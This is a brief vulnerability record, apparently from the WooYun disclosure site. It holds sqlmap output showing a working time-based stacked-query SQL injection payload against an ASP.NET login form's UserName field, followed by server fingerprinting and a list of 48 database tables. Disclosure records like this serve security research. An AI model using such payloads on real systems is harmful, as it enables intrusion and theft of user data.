WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserName (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=dDwtMjQzNDUzODA0O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDU+Oz47bDx
0PHA8cDxsPFRleHQ7PjtsPOaXoOazleeZu+mZhiDor7fmo4Dmn6XnlKjmiLflkI3lr4bnoIE7Pj47Pjs
7Pjs+Pjs+PjtsPFNpZ247Pj6hNUWpKN8a7a1y/m/muL895vAB4Q==&__VIEWSTATEGENERATOR=1B54E
FAC&UserName=a';WAITFOR DELAY '0:0:5'--&Password=a&Sign.x=32&Sign.y=14
---
[14:09:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 1.1.4322
back-end DBMS: Microsoft SQL Server 2000
current database: 'WSSOA'
Database: WSSOA
[48 tables]
+------------------------+
| AddressList_UserAccess |
| CCS_App |
| CCS_Config |
| CCS_Event |
| CCS_EventInBox |
| CCS_EventOutBox |
| CCS_EventReceive |
| CCS_EventSend |
| CCS_EventSubscription |
| CCS_Message |
| CCS_PublicConfiger |
| CCS_ServiceLog |
| CCS_SystemStatics |
| CCS_UserMessage_Rel |
| CCS_WebPart |
| Class |
| Contacts |
| Dept |
| Domain |
| Group |
| Link |
| Node |
| PageClass |
| PageSole |
| Relation |
| Rele |
| SignInType |
| SiteType |
| Type |
| UIDUser |
| USID |
| User |
| VCCS_Event |
| VCCS_EventInBox |
| VCCS_EventSubscription |
| VCCS_WebPart |
| VContacts |
| VContactsCount |
| VContactsNormal |
| VContactsStatus |
| VDept |
| VDeptUser |
| View_MP3Web_User |
| View_NCPE_UserList |
| View_MP3Web_User' |
| dtproperties |
| sysconstraints |
| syssegments |
+------------------------+